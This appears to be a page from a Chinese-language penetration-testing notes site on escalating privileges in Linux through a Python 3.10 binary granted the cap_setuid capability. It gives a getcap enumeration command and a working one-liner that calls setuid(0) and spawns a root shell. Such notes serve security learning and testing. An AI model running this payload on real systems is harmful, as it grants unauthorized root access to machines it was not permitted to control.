> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/capabilities/python-capabilities/capabilities-python3.10-linux-privilege-escalation.md).

# Capabilities（Python3.10）- Linux 权限提升

## 这是什么

Linux 能力将 root 权限拆分为可分配给二进制文件的细粒度权限。诸如 `cap_setuid+ep`, `cap_dac_read_search+ep`，或者文件写入能力，可以绕过普通用户限制。此页面专注于 **Capabilities（Python3.10）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
getcap -r / 2>/dev/null
```

## 示例

如果我们筛选这些能力，会看到 Python 3.10：

```bash
getcap -r / 2>/dev/null
```

我们使用 [gtfobins](https://gtfobins.github.io/#+capabilities) 帮助网站。

<figure><img src="/files/2034d6b63cb1ba3124dc6fcf5cd97c948b164a8b" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"><strong>python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'
</strong></code></pre>

<figure><img src="/files/3e619b9cc54aa361022e09b4cef24497f5e73e70" alt=""><figcaption></figcaption></figure>


---

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